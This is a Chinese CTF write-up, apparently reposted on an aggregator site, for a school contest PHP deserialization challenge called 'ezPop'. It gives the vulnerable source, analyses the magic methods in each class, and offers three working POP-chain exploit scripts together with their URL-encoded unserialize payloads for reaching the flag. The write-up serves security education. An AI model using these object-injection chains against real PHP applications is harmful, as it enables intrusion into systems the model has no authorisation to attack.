[校赛] - Web - ezPop

Posted 1ta-chi

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[校赛] - Web - ezPop相关的知识,希望对你有一定的参考价值。

文章目录

源码

<?php
highlight_file(__FILE__);
error_reporting(0);
class Z
    public $key;

    public function __wakeup()
        $this -> key = 'nothing';
    

    public function __destruct()
        if($this -> key == 'xatu')
            include('flag.php');
            echo $flag;
        else
            die("NO!");
        
    


class A
    public $name;
    public $b;

    public function __construct($a,$b)
        $this -> name = $a;
        $this -> b = $b;
    

    public function hello($a)
        echo "hello!".$a;
    

    public function __destruct()
        $this -> b -> hello($this -> name);
    


class B

    public $obj;

    public function __construct($obj)
        $this -> obj = $obj;
    
    
    public function hello($name)
        $this -> obj -> $name();
    

    public function __invoke()
    
        echo "Oh,You touch me but useless!";
    


class C
    public $test;

    public function __construct($test)
        $this -> test = $test;
    

    public function __call($name,$arg)
            echo 'Got :'.$this -> test;
    


class D
    public $name;

    public function __construct($name)
        $this -> name = $name;
    

    public function hello($name)
        echo "Welcome to CTF ,".$name;
    

    public function __toString()
        if(isset($this -> name) && $this -> name == "xatu")
            include('flag.php');
            echo $flag;
        
        return "You Win!";
    


@unserialize($_GET['pop']);

分析

class Z
    public $key;

    public function __wakeup()
        $this -> key = 'nothing';
    

    public function __destruct()
        if($this -> key == 'xatu')
            include('flag.php');
            echo $flag;
        else
            die("NO!");
        
    

  • 一个共有属性$key
  • __wakeup()在反序列化前触发,将'nothing'赋给$key
  • __destruct()在对象被销毁时触发,此时如果$key == xatu的时候,包含并运行flag.php,输出$flag
class A
    public $name;
    public $b;

    public function __construct($a,$b)
        $this -> name = $a;
        $this -> b = $b;
    

    public function hello($a)
        echo "hello!".$a;
    

    public function __destruct()
        $this -> b -> hello($this -> name);
    

  • 两个共有属性:$name$b
  • __construct()在对象实体化时触发,接收传参分别赋给$name$b
  • hello()$a当作字符串输出(可以触发D对象的__toString()方法)
  • __destruct()在对象被销毁时触发,调用b对象的hello()方法并将该对象的name传过去
class B

    public $obj;

    public function __construct($obj)
        $this -> obj = $obj;
    
    
    public function hello($name)
        $this -> obj -> $name();
    

    public function __invoke()
    
        echo "Oh,You touch me but useless!";
    

  • 一个共有属性$obj
  • __construct()在对象被实体化时触发,将传过来的赋给$obj
  • hello()调用obj对象的$name(),可以触发B类的__invoke()方法
  • __invoke()在对象被当作函数使用时触发,输出一句话,这里需要绕过
class C
    public $test;

    public function __construct($test)
        $this -> test = $test;
    

    public function __call($name,$arg)
            echo 'Got :'.$this -> test;
    

  • 一个共有属性$test
  • __construct()在对象被实体化时触发,将值赋给$test
  • __call()当调用该类无法访问的方法时被触发,将该类的test当作字符串输出,可以触发D类的__toString()方法
class D
    public $name;

    public function __construct($name)
        $this -> name = $name;
    

    public function hello($name)
        echo "Welcome to CTF ,".$name;
    

    public function __toString()
        if(isset($this -> name) && $this -> name == "xatu")
            include('flag.php');
            echo $flag;
        
        return "You Win!";
    

  • 一个共有属性$name
  • __construct()在对象被实体化时触发,将值赋给name
  • hello()方法将name当作字符串输出,可以触发该类的__toString()方法
  • __toString()在对象被当作字符串使用时触发,它判断name不为空且弱等于xatu,包含并执行flag.php,输出$falg
  1. 拿flag:D类中的name == "xatu",调用其__toString()
  2. 触发__toString()A类和D类的hello()方法,意味着这两个类中的属性可能为D类的对象
  3. 调用hello()A类的__destruct()方法调用bhello()方法,意味着b属性可能为A类的对象或者D类的对象,name属性为D类的对象

方法一、二:

方法三:

payload

  • D 类的 hello 触发
<?php
	class D
	    public $name = "xatu";
	
	
	class A
	    public $name;
	    public $b;
	
	    public function __construct($a, $b)
	        $this -> name = $a;
	        $this -> b = $b;
	    
	
	
	$a1 = new D;
	$a2 = new D;
	$a = new A($a1, $a2);
	echo urlencode(serialize($a));

payload:?pop=O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7Ds%3A1%3A%22b%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7D%7D

  • A 类的 hello 触发
<?php
	class D
	    public $name = "xatu";
	
	
	class A
	    public $name;
	    public $b;
	
	    public function __construct($a, $b)
	        $this -> name = $a;
	        $this -> b = $b;
	    
	
	
	$a1 = new D;
	$a2 = new A(1, 1);
	$a = new A($a1, $a2);
	echo urlencode(serialize($a));

payload:?pop=O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7Ds%3A1%3A%22b%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bi%3A1%3Bs%3A1%3A%22b%22%3Bi%3A1%3B%7D%7D

  • BC类触发
<?php
    class D
        public $name = "xatu";
    

    class C
        public $test;

        public function __construct($c)
            $this -> test = $c;
        
    

    class B
        public $obj;

        public function __construct($b)
            $this -> obj = $b;
        
    

    class A
        public $b;
        //这里的字符串是啥都行
        //为的是触发B类的__call()
        public $name = "fuc";

        public function __construct($a)
            $this -> b = $a;
        
    
    $c = new D;
    $b = new C($c);
    $a1 = new B($b);
    $a = new A($a1);
    echo urlencode(serialize($a));

payload:?pop=O%3A1%3A%22A%22%3A2%3A%7Bs%3A1%3A%22b%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A4%3A%22test%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7D%7D%7Ds%3A4%3A%22name%22%3Bs%3A3%3A%22fuc%22%3B%7D

最后,给你们看一眼flag,嘻嘻😁

以上是关于[校赛] - Web - ezPop的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF: [MRCTF2020]Ezpop

BUUCTF: [MRCTF2020]Ezpop

BUUCTF: [MRCTF2020]Ezpop

[MRCTF2020]Ezpop

[EIS 2019]EzPOP

[MRCTF2020]Ezpop